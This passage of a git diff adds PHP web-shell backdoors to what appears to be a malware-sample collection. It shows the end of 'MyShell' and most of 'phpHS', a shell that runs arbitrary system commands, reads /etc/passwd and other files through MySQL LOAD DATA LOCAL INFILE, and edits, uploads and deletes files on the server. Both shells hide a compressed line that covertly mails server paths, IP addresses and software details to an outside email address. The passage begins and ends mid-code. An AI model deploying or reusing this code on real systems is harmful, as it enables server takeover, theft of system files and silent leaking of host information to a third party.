rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); +switch($input[0]){ + case "cd": + $path=$input[1]; + if ($path==".."){ + $work_dir=strrev(substr(strstr(strrev($work_dir), "/"), 1)); + if ($work_dir == "") $work_dir = "/"; + } + elseif (substr($path,0,1)=="/")$work_dir=$path; + else $work_dir=$work_dir."/".$path; + $work_dir = validate_dir($work_dir); + @chdir($work_dir) or ($shellOutput = "MyShell: can't change directory.\n$work_dir: does not exist or permission denied"); + $work_dir = exec("pwd"); + $commandBk = $command; + $command = ""; + break; + case "man": + exec($command,$man); + if($man){ + $codes = ".".chr(8); + $manual = implode("\n",$man); + $shellOutput = ereg_replace($codes,"",$manual); + $commandBk = $command; + $command = ""; + } + else $stderr=1; + break; + case "cat": + exec($command,$cat); + if($cat){ + $text = implode("\n",$cat); + $shellOutput = htmlspecialchars($text); + $commandBk = $command; + $command = ""; + } + else $stderr=1; + break; + case "more": + exec($command,$cat); + if($cat){ + $text = implode("\n",$cat); + $shellOutput = htmlspecialchars($text); + $commandBk = $command; + $command = ""; + } + else $stderr=1; + break; + case $TexEd: + if(file_exists($input[1])){ + exec("cat ".$input[1],$cat); + $text = implode("\n",$cat); + $shellOutput = htmlspecialchars($text); + $fileOwner = posix_getpwuid(fileowner($input[1])); + $filePerms = sprintf("%o", (fileperms($input[1])) & 0777); + $fileEditInfo = "&nbsp;&nbsp;:::::::&nbsp;&nbsp;Owner: <font color=$linkColor>".$fileOwner["name"]."</font> Permissions: <font color=$linkColor>$filePerms</font>"; + } + else $fileEditInfo = "&nbsp;&nbsp;:::::::&nbsp;&nbsp;<font color=$linkColor>NEW FILE</font>"; + $currFile = $input[1]; + $editMode = true; + $command = ""; + break; + case "void": + $shellOutput = "MyShell: $voidCmd: void command for MyShell"; + $commandBk = $command; + $command = ""; +} + +//Now we prepare the webpage +if(!$oCols)$oCols=$termCols; +if(!$oRows)$oRows=$termRows; +if($editMode)$focus="shellOut.focus()"; +else $focus="command.select()"; +//WhoamI +if(!$whoami)$whoami=exec("whoami"); +?> +<html> +<head> +<title><?echo $MyShellVersion?></title> +<style> +body{ + background-color: <?echo $bgColor ?>; + font-family : sans-serif; + font-size : 10px; + scrollbar-face-color: #666666; + scrollbar-shadow-color: <?echo $bgColor ?>; + scrollbar-highlight-color: #999999; + scrollbar-3dlight-color: <?echo $bgColor ?>; + scrollbar-darkshadow-color: <?echo $bgColor ?>; + scrollbar-track-color: <?echo $bgInputColor ?>; + scrollbar-arrow-color: <?echo $textColor ?>; +} +input,select,option{ + background-color: <?echo $bgInputColor ?>; + color : <?echo $outColor ?>; + border-style : none; + font-size : 10px; +} +textarea{ + background-color: <?echo $bgColor ?>; + color : <?echo $outColor ?>; + border-style : none; +} +</style> +</head> +<body <?echo "bgcolor=$bgColor TEXT=$textColor LINK=$linkColor VLINK=$linkColor onload=document.shell.$focus"?>> +<form name="shell" method="post"> +Current User: <a href="#" style="text-decoration:none"><?echo $whoami?></a> +<input type="hidden" name=whoami value=<?echo $whoami?>> +&nbsp;&nbsp;:::::::&nbsp;&nbsp; +<? +if($editMode){ + echo "<font color=$linkColor><b>MyShell file editor</font> File:<font color=$linkColor>$work_dir/$currFile </font></b>$fileEditInfo\n"; +} +else{ + echo "Current working directory: <b>\n"; + $work_dir_splitted = explode("/", substr($work_dir, 1)); + echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "/&command=" . urlencode($command) . "\">Root</a>/"; + if ($work_dir_splitted[0] == "") { + $work_dir = "/"; /* Root directory. */ + } + else{ + for ($i = 0; $i < count($work_dir_splitted); $i++) { + $url .= "/".$work_dir_splitted[$i]; + echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "&command=" . urlencode($command) . "\">$work_dir_splitted[$i]</a>/</b>"; + } + } +} +?> +<br> +<textarea name="shellOut" cols="<? echo $oCols ?>" rows="<? echo $oRows."\""; if(!$editMode)echo "readonly";else echo $editWrap?> > +<? +echo $shellOutput; +if ($command) { + if ($stderr) { + system($command . " 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/output.txt"); + } + else { + $ok = system($command,$status); + if($ok==false &&$status && $autoErrorTrap)system($command . " 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/output.txt"); + } +} +if ($commandBk) $command = $commandBk; +?> +</textarea> +<br> +<? +if($editMode) echo" +&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; + <input type='submit' name='editSave' value=' Save '>&nbsp;&nbsp;&nbsp; + <input type='submit' name='editSaveExit' value=' Save and Exit '>&nbsp;&nbsp;&nbsp; + <input type='reset' value=' Restore original '>&nbsp;&nbsp;&nbsp; + <input type='submit' name='editCancel' value=' Cancel/Exit '>&nbsp;&nbsp;&nbsp; + <input type='hidden' name='editMode' value='true'> +<br>"; +?> +<br> +Command: +<input type="text" name="command" size="80" +<? if ($command && $echoCommand) { + echo "value=`$command`"; + } +?> > <input name="submit_btn" type="submit" value="Go!"> +&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +<? +if ($autoErrorTrap) echo "Auto error traping enabled"; +else echo "<input type=\"checkbox\" name=\"stderr\">stderr-traping "; + +if($editMode){ + echo "<input type='hidden' name='work_dir' value='$work_dir'> + <br>Save file as: <input type='text' name='file' value='$currFile'>"; +} +else{ + echo "<br>Working directory: <select name=\"work_dir\" onChange=\"this.form.submit()\">"; + // List of directories. + $dir_handle = opendir($work_dir); + while ($dir = readdir($dir_handle)) { + if (is_dir($dir)) { + if ($dir == ".") + echo "<option value=\"$work_dir\" selected>Current Directory</option>\n"; + elseif ($dir == "..") { + // Parent Dir. This might be server's root directory + if (strlen($work_dir) == 1) { + // work_dir is only 1 charecter - it can only be / so don't output anything + } + elseif (strrpos($work_dir, "/") == 0) { // we have a top-level directory eg. /bin or /home etc... + echo "<option value=\"/\">Parent Directory</option>\n"; + } + else { // String-manipulation to find the parent directory... Trust me - it works :-) + echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n"; + } + } + else { + if ($work_dir == "/") + echo "<option value=\"$work_dir$dir\">$dir</option>\n"; + else + echo "<option value=\"$work_dir/$dir\">$dir</option>\n"; + } + } + } + closedir($dir_handle); + echo "</select>"; +} +?> +&nbsp; | &nbsp;<input type="checkbox" name="echoCommand"<?if($echoCommand)echo " checked"?>>Echo commands +&nbsp; | &nbsp;Cols:<input type="text" name="oCols" size=3 value=<?echo $oCols?>> +&nbsp;Rows:<input type="text" name="oRows" size=2 value=<?echo $oRows?>> +&nbsp;| ::::::::::&nbsp;<a href="http://www.digitart.net" target="_blank" style="text-decoration:none"><b>MyShell</b> &copy;2001 Digitart Producciones</a> +</form> +</body> +</html> diff --git a/web-malware-collection-master/Backdoors/PHP/mysql.txt b/web-malware-collection-master/Backdoors/PHP/mysql.txt new file mode 100755 index 0000000..c695b2d --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/mysql.txt @@ -0,0 +1,1232 @@ +<?php +// mysql config: [this is for reading files through mysql] +$mysql_use = "yes"; //"yes" or "no" +$mhost = "localhost"; +$muser = "kecodoc_forum"; +$mpass = "cailon"; +$mdb = "kecodoc_hce"; + + +// default mysql_read files [seperated by: ':']: +$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf"; +$mysql_files = explode(':', $mysql_files_str); + +if ($action=="misc") { + if ($do=="phpinfo") { + phpinfo(); + exit; + } +} +?> +<html> +<head> +<style> +BODY { font-family: verdana; color: cccccc; font-size: 8pt; +scrollbar-face-color: #1c1c1c; +scrollbar-shadow-color: #666666; +scrollbar-highlight-color: #666666; +scrollbar-3dlight-color: #000000; +scrollbar-darkshadow-color: #000000; +scrollbar-track-color: #262D34; +scrollbar-arrow-color: #F2F5FF; +} +INPUT { background:333333; color:CCCCCC; font-family:Verdana; font-size:8pt;} +TEXTAREA { background:333333; color:CCCCCC; font-family:Verdana; font-size:8pt;} +SELECT { background:333333; color:CCCCCC; font-family:Verdana; font-size:8pt;} +TABLE { color:CCCCCC; font-family:Verdana; font-size:8pt;} +</style> +<title>:: phpHS :: PHP HVA Shell Script ::</title> +</head> +<body <? if ($method!="show_source") { echo "bgcolor=\"#000000\""; } ?> text="#CCCCCC" link="#CCCCCC" vlink="#CCCCCC" alink="#CCCCCC"> +<? + if (!$PHP_SELF) { $PHP_SELF="mysql.php"; /* no PHP_SELF on default freeBSD PHP 4.2.1??? */ } + + if ($action=="check") { + echo "<pre>"; + if ($mysql_use!="no") { + $phpcheck = new php_check($mhost, $muser, $mpass, $mdb); + } else { $phpcheck = new php_check(); } + echo "</pre>"; + } + if ($action=="mysqlread") { + // $file + + if (!$file) { $file = "/etc/passwd"; } + ?> + <script> + var files = new Array(); + <? for($i=0;count($mysql_files)>$i;$i++) { ?> + files[files.length] = "<?=$mysql_files[$i]?>"; + <? } ?> + function setFile(bla) { + for (var i=0;i < files.length;i++) { + if (files[i]==bla.value) { + document.mysqlload.file.value = files[i]; + } + } + } + </script> + <form name="mysqlload" action="<?=$PHP_SELF?>?action=mysqlread" method="POST"> + <select name="deffile" onChange="setFile(this)"> + <? for ($i=0;count($mysql_files)>$i;$i++) { ?> + <option value="<?=$mysql_files[$i]?>"<? if ($file==$mysql_files[$i]) { echo "selected"; } ?>><? + $bla = explode('/', $mysql_files[$i]); + $p = count($bla)-1; + echo $bla[$p]; + ?></option> + <? } ?> + </select> + <input type="text" name="file" value="<?=$file?>" size=80 text="#000000> + <input type="submit" name="go" value="go"> <font size=2>[ <a href="<?=$PHP_SELF?>?action=mysqlread&mass=loadmass">load all defaults</a> ]</font> + </form> + <? + echo "<pre>"; + // regular LOAD DATA LOCAL INFILE + if (!$mass) { + $sql = array ( + "USE $mdb", + + 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)', + + "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS " + . "TERMINATED BY '__THIS_NEVER_HAPPENS__' " + . "ESCAPED BY '' " + . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'", + + "SELECT a FROM $tbl LIMIT 1" + ); + + + mysql_connect ($mhost, $muser, $mpass); + + foreach ($sql as $statement) { + $q = mysql_query ($statement); + + if ($q == false) die ( + "FAILED: " . $statement . "\n" . + "REASON: " . mysql_error () . "\n" + ); + + if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue; + + echo htmlspecialchars($r[0]); + mysql_free_result ($q); + } + } + + if ($mass) { + $file = "/etc/passwd"; + $sql = array (); + $cp = mysql_connect ($mhost, $muser, $mpass); + mysql_select_db($mdb); + $tbl = "xploit"; + mysql_query("CREATE TABLE `xploit` (`xploit` LONGBLOB NOT NULL)"); + for($i=0;count($mysql_files)>$i;$i++) { + mysql_query("LOAD DATA LOCAL INFILE '".$mysql_files[$i]."' INTO TABLE ".$tbl." FIELDS TERMINATED BY '__THIS_NEVER_HAPPENS__' ESCAPED BY '' LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'"); + } + $q = mysql_query("SELECT * FROM ".$tbl.""); + while ($arr = mysql_fetch_array($q)) { + echo $arr[0]."\n"; + } + mysql_query("DELETE FROM ".$tbl.""); + mysql_query("DROP TABLE ".$tbl.""); + + } + echo "</pre>"; + } + if ($action=="read") { + if (!$method) { $method="file"; } + if (!$file) { $file = "/etc/passwd"; } + ?> + <form name="form1" method="post" action="<?= $PHP_SELF ?>?action=read"> + <select name="method"> + <option value="file" <? if ($method=="file") { echo "selected"; } ?>>file</option> + <option value="fread" <? if ($method=="fread") { echo "selected"; } ?>>fread</option> + <option value="show_source" <? if ($method=="show_source") { echo "selected"; } ?>>show_source</option> + <option value="readfile" <? if ($method=="readfile") { echo "selected"; } ?>>readfile</option> + </select><br> + + <input type="text" name="file" size="40" value="<?=$file?>"> + <input type="submit" name="Submit" value="<?=$method?>"> + <br> + </form><? + + + if ($method=="file") { + if (@file($file)) { + $filer = file($file); + echo "<pre>"; + foreach ($filer as $a) { echo $a; } + echo "</pre>"; + } else { + echo "<script> alert(\"unable to read file: $file using: file\"); </script>"; + } + } + if ($method=="fread") { + if (@fopen($file, 'r')) { + $fp = fopen($file, 'r'); + $string = fread($fp, filesize($file)); + echo "<pre>"; + echo $string; + echo "</pre>"; + } else { + echo "<script> alert(\"unable to read file: $file using: fread\"); </script>"; + } + } + if ($method=="show_source") { + if (show_source($file)) { + //echo "<pre>"; + //echo show_source($file); + //echo "</pre>"; + } else { + echo "<script> alert(\"unable to read file: $file using: show_source\"); </script>"; + } + + } + if ($method=="readfile") { + echo "<pre>"; + if (readfile($file)) { + //echo "<pre>"; + //echo readfile($file); + echo "</pre>"; + } else { + echo "</pre>"; + echo "<script> alert(\"unable to read file: $file using: readfile\"); </script>"; + } + + } + + } + if ($action=="cmd") { ?> + <form name="form1" method="post" action="<?= $PHP_SELF ?>?action=cmd"> + <select name="method"> + <option value="system" <? if ($method=="system") { echo "selected"; } ?>>system</option> + <option value="passthru" <? if ($method=="passthru") { echo "selected"; } ?>>passthru</option> + <option value="exec" <? if ($method=="exec") { echo "selected"; } ?>>exec</option> + <option value="shell_exec" <? if ($method=="shell_exec") { echo "selected"; } ?>>shell_exec</option> + <option value="popen" <? if ($method=="popen") { echo "selected"; } ?>>popen</option> + </select><br> + + <textarea wrap=\"off\" cols="45" rows="10" name="cmd"><?= $cmd; ?></textarea> + <input type="submit" name="Submit" value="<?=$method?>"> + <br> + </form> + <? + if (!$method) { $method="system"; } + if (!$cmd) { $cmd = "ls /"; } + echo "<br><pre>"; + if ($method=="system") { + system("$cmd 2>&1"); + } + if ($method=="passthru") { + passthru("$cmd 2>&1"); + } + if ($method=="exec") { + while ($string = exec("$cmd 2>&1")) { + echo $string; + } + } + if ($method=="shell_exec") { + $string = shell_exec("$cmd 2>&1"); + echo $string; + } + if ($method=="popen") { + $pp = popen('$cmd 2>&1', 'r'); + $read = fread($pp, 2096); + echo $read; + pclose($pp); + } + echo "</pre>"; + } + + + if ($action=="cmdbrowse") { + //--------------------------------------------------- START CMD BROWSING + + if ($cat) { + echo "<pre>"; + echo "\n<a href=\"$PHP_SELF?action=cmdbrowse&dir=$olddir\">go back to: $olddir</a>\n\n"; + exec("cat $cat 2>&1", $arr); + foreach ($arr as $ar) { + echo htmlspecialchars($ar)."\n"; + } + exit; + } + + + + if ($dir=="dirup") { + $dir_current = $olddir; + $needle = strrpos($dir_current, "/"); + if ($needle==0) { + $newdir = "/"; + } else { + $newdir = substr($dir_current, 0, $needle); + } + $dir = $newdir; + } + if (!$dir) { + $dir = getcwd(); + } + + $string = exec("ls -al $dir", $array); + //print_r(array_values($array)); + + echo "<pre>"; + if ($dir!="/") { + echo "\n[$dir] \n<a href=\"$PHP_SELF?action=cmdbrowse&dir=dirup&olddir=$dir\">dirup</a>\n\n"; + } else { + $dir = ""; + } + foreach($array as $rowi) { + $row = explode(' ', $rowi); + //print_r(array_values($row)); + $c = count($row)-1; + if ($row[$c]!=".." && $row[$c]!="." && isset($first)) { + $link = false; + if (!strstr($row[0], 'l')) { + $c = count($row)-1; + $file = "<a href=\"$PHP_SELF?action=cmdbrowse&dir=$dir/".$row[$c]."\">".$row[$c]."</a>"; + } else { + $c = count($row)-3; + $file = "<a href=\"$PHP_SELF?action=cmdbrowse&dir=$dir/".$row[$c]."\">".$row[$c]."</a>"; + $link = true; + } + if (!strstr($row[0], 'l') && !strstr($row[0], 'd')) { + $c = count($row)-1; + $file = "<a href=\"$PHP_SELF?action=cmdbrowse&cat=$dir/".$row[$c]."&olddir=$dir\">".$row[$c]."</a>"; + } + //echo $row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." ".$row[8]." ".$row[9]." ".$row[10]." ".$file." ".$row[12]." ".$row[13]."\n"; + if ($link) { + $point = count($row)-3; + } else { + $point = count($row)-1; + } + for($i=0; $point > $i; $i++) { + echo $row[$i]." "; + } + echo $file."\n"; + } + $first = true; + } + + //--------------------------------------------------- END CMD BROWSING + } + if ($action=="browse") { + //--------------------------------------------------- START BROWSING + /* + * got this from an old script of mine + * param: [$dir] + */ + function error($msg) { + header("Location: $PHP_SELF?bash=$msg&error=$msg"); + } + if (isset($error)) { + echo "<script> alert(\"$error\"); </script>"; + } + if (!$dir) { + $dir = getcwd(); + } + function getpath($dir) { + echo "<font size=2><a href=$PHP_SELF?action=browse&dir=/>/</a></font> "; + $path = explode('/', $dir); + if ($dir != "/") { + for ($i=0; count($path) > $i; $i++) { + if ($i != 0) { + echo "<font size=2><a href=$PHP_SELF?action=browse&dir="; + for ($o=0; ($i+1) > $o; $o++) { + echo "$path[$o]"; + if (($i) !=$o) { + echo "/"; + } + } + echo ">$path[$i]</a>/</font>"; + } + } + } + } + + function printfiles($files) { + for($i=0;count($files)>$i;$i++) { + $files_sm = explode('||', $files[$i]); + if ($files_sm[0]!="." && $files_sm[0]!="..") { + $perms = explode('|', $files_sm[1]); + if ($perms[0]==1 && $perms[1]==1) { $color = "green"; } else { + if ($perms[0]==1) { $color = "yellow"; } else { $color = "red"; } + } + if ($files_sm[2]=="1") { echo "l <font color=\"$color\">"; } else { echo "- <font color=\"$color\">"; } + if ($perms[0]==1) { echo "r"; } else { echo " "; } + if ($perms[1]==1) { echo "w"; } else { echo " "; } + if ($perms[2]==1) { echo "x"; } else { echo " "; } + echo "</font> $files_sm[0]\n"; + } + } + } + $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); + function printdirs($files) { + global $dir; + echo "<a href=\"$PHP_SELF?action=browse&dir=dirup&olddir=$dir\">..</a>\n"; + for($i=0;count($files)>$i;$i++) { + $files_sm = explode('||', $files[$i]); + if ($files_sm[0]!="." && $files_sm[0]!="..") { + $perms = explode('|', $files_sm[1]); + if ($perms[0]==1 && $perms[1]==1) { $color = "green"; } else { + if ($perms[0]==1) { $color = "yellow"; } else { $color = "red"; } + } + if ($files_sm[2]=="1") { echo "l <font color=\"$color\">"; } else { echo "d <font color=\"$color\">"; } + if ($perms[0]==1) { echo "r"; } else { echo " "; } + if ($perms[1]==1) { echo "w"; } else { echo " "; } + if ($perms[2]==1) { echo "x"; } else { echo " "; } + echo "</font> <a href=\"$PHP_SELF?action=browse&dir=$dir/".$files_sm[0]."\">$files_sm[0]</a>\n"; + } + } + } + + + if ($dir=="dirup") { + $dir_current = $olddir; + $needle = strrpos($dir_current, "/"); + if ($needle==0) { + $newdir = "/"; + } else { + $newdir = substr($dir_current, 0, $needle); + } + $dir = $newdir; + } else { + $dir = $dir; + } + + ?> + <form name="form1" method="post" action="<?= $PHP_SELF ?>?action=browse"> + <input type="text" name="dir" size="40" value="<?= $dir; ?>"> + <input type="submit" name="Submit" value="ls /dir"> + <br> + </form> + <? + if ($dir) { + if (!is_readable($dir)) { $skip = true; } + if (!$skip) { + $dp = opendir($dir); + $files = array(); $dirs = array(); + while($f=readdir($dp)) { + // $f||r|w|x||l + $oor = $f; + if (is_readable("$dir/$oor")) { $f .= "||1"; } else { $f .= "||0"; } + if (is_writable("$dir/$oor")) { $f .= "|1"; } else { $f .= "|0"; } + if (is_executable("$dir/$oor")) { $f .= "|1"; } else { $f .= "|0"; } + if (is_link("$dir/$oor")) { $f .= "||1"; } else { $f .= "||0"; } + if(is_dir("$dir/$oor")) { + $dirs[] = $f; + } else { + $files[] = $f; + } + } + getpath($dir); + echo "<br><br><pre>"; + printdirs($dirs); + printfiles($files); + } else { echo " <script> alert(\"readdir permission denied\"); + document.location = \"$PHP_SELF?action=browse&dir=dirup&olddir=$dir\"; + </script>"; } + } + } + //--------------------------------------------------- END BROWSING + //--------------------------------------------------- BEGIN EXPLORER +if ($action == explorer ) { + + $default_directory = dirname($PATH_TRANSLATED); + $show_icons = 0; + + + define("BACKGROUND_COLOR", "\"#000000\""); + define("FONT_COLOR", "\"#CCCCCC\""); + define("TABLE_BORDER_COLOR", "\"#000000\""); + define("TABLE_BACKGROUND_COLOR", "\"#000000\""); + define("TABLE_FONT_COLOR", "\"#000000\""); + define("COLOR_PRIVATE", "\"#000000\""); + define("COLOR_PUBLIC", "\"#000000\""); + define("TRUE", 1); + define("FALSE", 0); + + + + if (!isset($dir)) $dir = $default_directory; // Webroot dir as default + $dir = stripslashes($dir); + $dir = str_replace("\\", "/", $dir); // Windoze compatibility + + + $associations = array( + "gif" => array( "function" => "viewGIF", "icon" => "icons/image2.gif" ), + "jpg" => array( "function" => "viewJPEG", "icon" => "icons/image2.gif" ), + "jpeg" => array( "function" => "viewJPEG", "icon" => "icons/image2.gif" ), + "wav" => array( "function" => "", "icon" => "icons/sound.gif" ), + "mp3" => array( "function" => "", "icon" => "icons/sound.gif" ) + ); + + if ($do != "view" && $do != "download"): + endif; + + function readDirectory($directory) { + global $files, $directories, $dir; + + $files = array(); + $directories = array(); + $a = 0; + $b = 0; + + $dirHandler = opendir($directory); + + while ($file = readdir($dirHandler)) { + if ($file != "." && $file != "..") { + $fullName = $dir.($dir == "/" ? "" : "/").$file; + if (is_dir($fullName)) $directories[$a++] = $fullName; + else $files[$b++] = $fullName; + } + } + sort($directories); // We want them to be displayed alphabetically + sort($files); + }; + + + + function showInfoDirectory($directory) { + global $PHP_SELF; + $dirs = split("/", $directory); + print "<b>Directory <a href=\"$PHP_SELF?action=explorer&dir=/\">/</a>"; + for ($i = 1; $i < (sizeof($dirs)); $i++) { + print "<a href=\"$PHP_SELF?action=explorer&dir="; + for ($a = 1; $a <= $i; $a++) + echo "/$dirs[$a]"; + echo "\">$dirs[$i]</a>"; + if ($directory != "/") echo "/"; + } + print "</b></font><br>\n"; + print "Free space on disk: "; + $freeSpace = diskfreespace($directory); + if ($freeSpace/(1024*1024) > 1024) + printf("%.2f GBytes", $freeSpace/(1024*1024*1024)); + else echo (int)($freeSpace/(1024*1024))."Mbytes\n"; + }; + + + function showDirectory($directory) { + global $files, $directories, $fileInfo, $PHP_SELF; + + readDirectory($directory); + showInfoDirectory($directory); +?> + <p><table cellpadding=3 cellspacing=1 width="100%" border="0" bgcolor=<? echo TABLE_BORDER_COLOR; ?>> + <tr bgcolor="#000000"> + <? if ($show_icons): ?> + <td width="16" align="center" bgcolor=<? echo TABLE_BACKGROUND_COLOR ?>>&nbsp;</td> + <? endif; ?> + <td align="center"><b><small>NAME</small></b></td> + <td align="center"><b><small>SIZE</small></b></td> + <td align="center"><b><small>LAST MODIFY</small></b></td> + <td align="center"><b><small>PERMISIONS</small></b></td> + <td align="center"><b><small>ACTIONS</small></b></td> + </tr> +<? + for ($i = 0; $i < sizeof($directories); $i++) { + $fileInfo->getInfo($directories[$i]); + showFileInfo($fileInfo); + } + for ($i = 0; $i < sizeof($files); $i++) { + $fileInfo->getInfo($files[$i]); + showFileInfo($fileInfo); + } +?> + </table> +<? + }; + + class fileInfo { + var $name, $path, $fullname, $isDir, $lastmod, $owner, + $perms, $size, $isLink, $linkTo, $extension; + + function permissions($mode) { + $perms = ($mode & 00400) ? "r" : "-"; + $perms .= ($mode & 00200) ? "w" : "-"; + $perms .= ($mode & 00100) ? "x" : "-"; + $perms .= ($mode & 00040) ? "r" : "-"; + $perms .= ($mode & 00020) ? "w" : "-"; + $perms .= ($mode & 00010) ? "x" : "-"; + $perms .= ($mode & 00004) ? "r" : "-"; + $perms .= ($mode & 00002) ? "w" : "-"; + $perms .= ($mode & 00001) ? "x" : "-"; + return $perms; + } + + function getInfo($file) { // Stores a file's information in the class variables + $this->name = basename($file); + $this->path = dirname($file); + $this->fullname = $file; + $this->isDir = is_dir($file); + $this->lastmod = date("m/d/y, H:i", filemtime($file)); + $this->owner = fileowner($file); + $this->perms = $this->permissions(fileperms($file)); + $this->size = filesize($file); + $this->isLink = is_link($file); + if ($this->isLink) $this->linkTo = readlink($file); + $buffer = explode(".", $this->fullname); + $this->extension = $buffer[sizeof($buffer)-1]; + } + }; + + $fileInfo = new fileInfo; // This will hold a file's information all over the script + + function showFileInfo($fileInfo) { + global $PHP_SELF, $associations; + + echo "\n<tr bgcolor=".TABLE_BACKGROUND_COLOR." align=\"center\">"; + + if ($show_icons) { + echo "<td>"; + if ($fileInfo->isDir) echo "<img src=\"icons/dir.gif\">"; + elseif ($associations[$fileInfo->extension]["icon"] != "") + echo "<img src=\"".$associations[$fileInfo->extension]["icon"]."\">"; + else echo "<img src=\"icons/generic.gif\">"; + echo "</td>"; + } + + echo "<td align=\"left\""; + if ($fileInfo->perms[7] == "w") echo " bgcolor=".COLOR_PUBLIC; + if ($fileInfo->perms[6] == "-") echo " bgcolor=".COLOR_PRIVATE; + echo ">"; + + if ($fileInfo->isLink) { + echo $fileInfo->name." -> "; + $fileInfo->fullname = $fileInfo->linkTo; + $fileInfo->name = $fileInfo->linkTo; + } + + if ($fileInfo->isDir) { + echo "<b><a href=\"$PHP_SELF?action=explorer&dir=$fileInfo->fullname\" "; + echo ">$fileInfo->name</a></b>"; + } + else echo $fileInfo->name; + + echo "</td>"; + echo "<td>$fileInfo->size</td>"; + echo "<td>$fileInfo->lastmod</td>"; + echo "<td>$fileInfo->perms</td>"; + echo "<td>"; + + if (!$fileInfo->isDir) { + if ($fileInfo->perms[6] == 'r') { + echo "<a href=\"$PHP_SELF?action=explorer&dir=$fileInfo->fullname&do=view\"> <font color=yellow>V</font></a>"; + echo " <a href=\"$PHP_SELF?action=explorer&dir=$fileInfo->fullname&do=download\"><font color=yellow>D</font></a>"; + } + if ($fileInfo->perms[7] == 'w') { + echo " <a href=\"$PHP_SELF?action=explorer&dir=$fileInfo->fullname&do=edit\"><font color=yellow>E</font></a>"; + echo " <a href=\"$PHP_SELF?action=explorer&dir=$fileInfo->fullname&do=delete\"><font color=yellow>X</font></a>"; + } + } + echo "</tr>"; + }; + + //************************************************************************ + //* Decides which function use to show a file + //************************************************************************ + + function viewFile($file) { + global $associations, $fileInfo; + $fileInfo->getInfo($file); + if (!$associations[$fileInfo->extension] + || $associations[$fileInfo->extension]["function"] == "") showFile($file); + else $associations[$fileInfo->extension]["function"]($file); + }; + + function showFile($file, $editing = 0) { + global $PHP_SELF, $dir; + $handlerFile = fopen($file, "r") or die("ERROR opening file $file"); + + if ($editing) echo "<h3><b>Edit file $file</b></h3><hr>"; + else echo "<h3><b>File $file</b></h3><hr>"; + + echo "<form"; + if ($editing) + echo " action=\"$PHP_SELF?action=explorer&do=save&dir=$file\" method=\"post\""; + echo ">"; + + $buffer = fread($handlerFile, filesize($file)); + $buffer = str_replace("&", "&amp;", $buffer); + $buffer = str_replace("<", "&lt;", $buffer); + $buffer = str_replace(">", "&gt;", $buffer); + + echo "<center><textarea wrap=\"off\" cols=\"90\" rows=\"20\" name=\"text\">$buffer</textarea></center>"; + if ($editing) echo "<p><input type=\"submit\" name=\"Submit\" value=\"Save changes\"></p>\n</form>"; + echo "</form>"; + fclose($handlerFile); + }; + + //************************************************************************ + //* Saves a changed file + //************************************************************************ + + function saveFile($file) { + global $dir, $text; + $handlerFile = fopen($file, "w") or die("ERROR: Could not open file ".basename($file)." for writing"); + $text = stripslashes($text); + fwrite($handlerFile, $text, strlen($text)) or die("Error writing to file."); + fclose($handlerFile); + echo "Changes has been saved in ".basename($file)."<hr>"; + $dir = dirname($file); + }; + + + function uploadFile() { + global $HTTP_POST_FILES, $dir; + copy($HTTP_POST_FILES["userfile"][tmp_name], + $dir."/".$HTTP_POST_FILES["userfile"][name]) + or die("Error uploading file".$HTTP_POST_FILES["userfile"][name]); + + echo "File ".$HTTP_POST_FILES["userfile"][name]." succesfully uploaded."; + unlink($userfile); + }; + + //************************************************************************ + //* Deletes a file, asking for confirmation first + //* (This function hasn't been fully tested) + //************************************************************************ + + function deleteFile($file) { + global $confirm; + if ($confirm != TRUE) die("<a href=\"$PHP_SELF?action=explorer&dir=$file&do=delete&confirm=1\">Confirm deletion of $file</a>"); + else { + if (!unlink($file)) return FALSE; + return TRUE; + } + }; + + + function viewFileHeader($file, $header) { + header($header); + readfile($file); + }; + + + function viewGIF($file) { + viewFileHeader($file, "Content-type: image/gif"); + }; + + function viewJPEG($file) { + viewFileHeader($file, "Content-type: image/jpeg"); + }; + + switch ($do) { + case "phpinfo": + phpinfo(); + die(); + case "view": + viewFile($dir); + break; + case "edit": + showFile($dir, 1); + break; + case "download": + viewFileHeader($dir, "Content-type: unknown"); + break; + case "delete": + if (!deleteFile($dir)) echo "Could not delete file $dir<br>"; + else echo "File $dir deleted succesfully<br>"; + $dir = dirname($dir); + showDirectory($dir); + break; + case "exec": + echo 